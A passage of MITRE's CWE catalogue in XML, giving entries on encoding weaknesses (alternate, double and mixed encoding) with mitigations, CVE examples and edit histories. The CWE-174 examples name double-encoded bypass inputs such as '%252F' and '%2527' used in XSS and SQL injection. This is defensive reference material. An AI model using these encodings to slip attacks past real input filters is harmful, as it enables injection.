							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated. Make sure that
							your application does not decode the same input twice. Such errors could
							be used to bypass whitelist schemes by introducing dangerous inputs
							after they have been checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Encoding Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>267</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>52</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>53</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>64</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>72</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>80</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="173" Name="Improper Handling of Alternate Encoding" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly handle when an input uses an
					alternate encoding that is valid for the control sphere to which the input is
					being sent.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>172</Relationship_Target_ID>
					          <!--Encoding Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>289</Relationship_Target_ID>
					          <!--Authentication Bypass by Alternate Name-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-44">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Avoid making decisions based on names of resources (e.g. files) if
							those resources can have alternate names.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Alternate Encoding</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>267</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>52</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>53</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>64</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>72</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>80</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Alternate
						Encoding</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Handle Alternate
						Encoding</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="174" Name="Double Decoding of the Same Data" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software decodes the same input twice, which can limit the
					effectiveness of any protection mechanism that occurs in between the decoding
					operations.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>172</Relationship_Target_ID>
					          <!--Encoding Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>675</Relationship_Target_ID>
					          <!--Duplicate Operations on Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-44">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Avoid making decisions based on names of resources (e.g. files) if
							those resources can have alternate names.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1315</Observed_Example_Reference>
					          <Observed_Example_Description>Forum software improperly URL decodes the
						highlight parameter when extracting text to highlight, which allows remote
						attackers to execute arbitrary PHP code by double-encoding the highlight
						value so that special characters are inserted into the
						result.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1939</Observed_Example_Reference>
					          <Observed_Example_Description>XSS protection mechanism attempts to remove "/"
						that could be used to close tags, but it can be bypassed using double
						encoded slashes (%252F)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0333</Observed_Example_Reference>
					          <Observed_Example_Description>Directory traversal using double
						encoding.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1938</Observed_Example_Reference>
					          <Observed_Example_Description>"%2527" (double-encoded single quote) used in SQL
						injection.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1945</Observed_Example_Reference>
					          <Observed_Example_Description>Double hex-encoded
						data.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0054</Observed_Example_Reference>
					          <Observed_Example_Description>Browser executes HTML at higher privileges via URL
						with hostnames that are double hex encoded, which are decoded twice to
						generate a malicious hostname.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Probably under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Double Encoding</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Double
						Encoding</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="175" Name="Improper Handling of Mixed Encoding" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly handle when the same input uses
					several different (mixed) encodings.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>172</Relationship_Target_ID>
					          <!--Encoding Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-44">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Avoid making decisions based on names of resources (e.g. files) if
							those resources can have alternate names.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Mixed Encoding</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Mixed
						Encoding</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Handle Mixed
